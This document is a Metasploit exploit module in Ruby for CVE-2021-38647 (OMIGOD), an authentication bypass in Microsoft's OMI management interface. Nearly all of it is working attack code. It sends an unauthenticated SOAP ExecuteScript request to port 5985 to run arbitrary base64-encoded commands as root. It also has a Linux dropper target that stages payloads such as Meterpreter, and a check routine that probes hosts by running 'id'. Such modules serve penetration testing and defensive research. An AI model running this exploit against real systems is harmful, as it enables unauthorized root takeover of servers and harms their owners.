By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).
e021b81c9c13b09923425e7dc2931754
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
'Description' => %q{
By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
OMI version 1.6.8-1 (released September 8th 2021).
},
'Author' => [
'Nir Ohfeld', # vulnerability discovery & research
'Shir Tamari', # vulnerability discovery & research
'Spencer McIntyre', # metasploit module
'wvu' # vulnerability research
],
'References' => [
['CVE', '2021-38647'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
],
'DisclosureDate' => '2021-09-14',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 5985,
'SSL' => false,
'MeterpreterTryToFork' => true
},
'Notes' => {
'AKA' => ['OMIGOD'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
])
end
def check
http_res = send_command('id')
return CheckCode::Unknown if http_res.nil?
return CheckCode::Safe unless http_res.code == 200
cmd_res = parse_response(http_res)
return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /
return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
result = execute_command(payload.encoded)
if result
print_status(result[:stdout]) unless result[:stdout].blank?
print_error(result[:stderr]) unless result[:stderr].blank?
end
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_command(cmd)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end
parse_response(res)
end
def parse_response(res)
return nil unless res&.code == 200
return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
unless return_code == 0
print_error("Failed to execute command: #{cmd} (status: #{return_code})")
end
{
return_code: return_code,
stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
}
end
def send_command(cmd)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'text/xml;charset=UTF-8',
'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
<w:OptionSet s:mustUnderstand="true"/>
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
<p:Arguments/>
<p:timeout>0</p:timeout>
<p:b64encoded>true</p:b64encoded>
</p:ExecuteScript_INPUT>
</s:Body>
</s:Envelope>
ENVELOPE
)
end
end